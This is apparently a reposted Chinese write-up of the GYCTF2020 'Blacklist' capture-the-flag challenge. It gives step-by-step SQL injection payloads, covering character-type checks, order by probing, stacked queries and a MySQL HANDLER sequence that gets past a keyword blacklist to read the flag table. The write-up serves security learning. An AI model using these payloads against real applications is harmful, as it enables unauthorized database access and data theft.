[GYCTF2020]Blacklist-思路

时间:2021-07-08 17:45:55   收藏:0   阅读:0

[GYCTF2020]Blacklist-思路

  1. 首先我们还是用常规SQL注入判断这是字符型

    1‘ and ‘1‘=‘1
    1‘ and ‘1‘=‘2
    
  2. 然后利用order by语句判断出字段数为2

    1‘ order by 2#
    
  3. 然后当我们用union查询的时候,发现select以及许多关键字被过滤了

    1‘ union select 1,2#
    

技术图片

但是我们发现它没有过滤 show 这个关键字,所以我们可以尝试堆叠注入,但是这里过滤了rename,所以我们那个修改表名的方法就用不了。

1‘;show databases;#     //获取数据库
1‘;show tables;#         //获取表名
1‘;desc words;#          获取表的内容

这里通过百度了解到一个新的方法:

参考文档:https://dev.mysql.com/doc/refman/8.0/en/handler.html

HANDLER [表名] OPEN;语句打开一个表,使其可以使用后续HANDLER [表名] READ;该表对象未被其他会话共享,并且在会话调用HANDLER [表名] CLOSE;或会话终止之前不会关闭

1’;HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere close;#

//这是一个语句

执行这个,然后,就可以出来flag了

技术图片


评论(0
© 2014 mamicode.com 版权所有 京ICP备13008772号-2  联系我们:gaon5@hotmail.com
迷上了代码!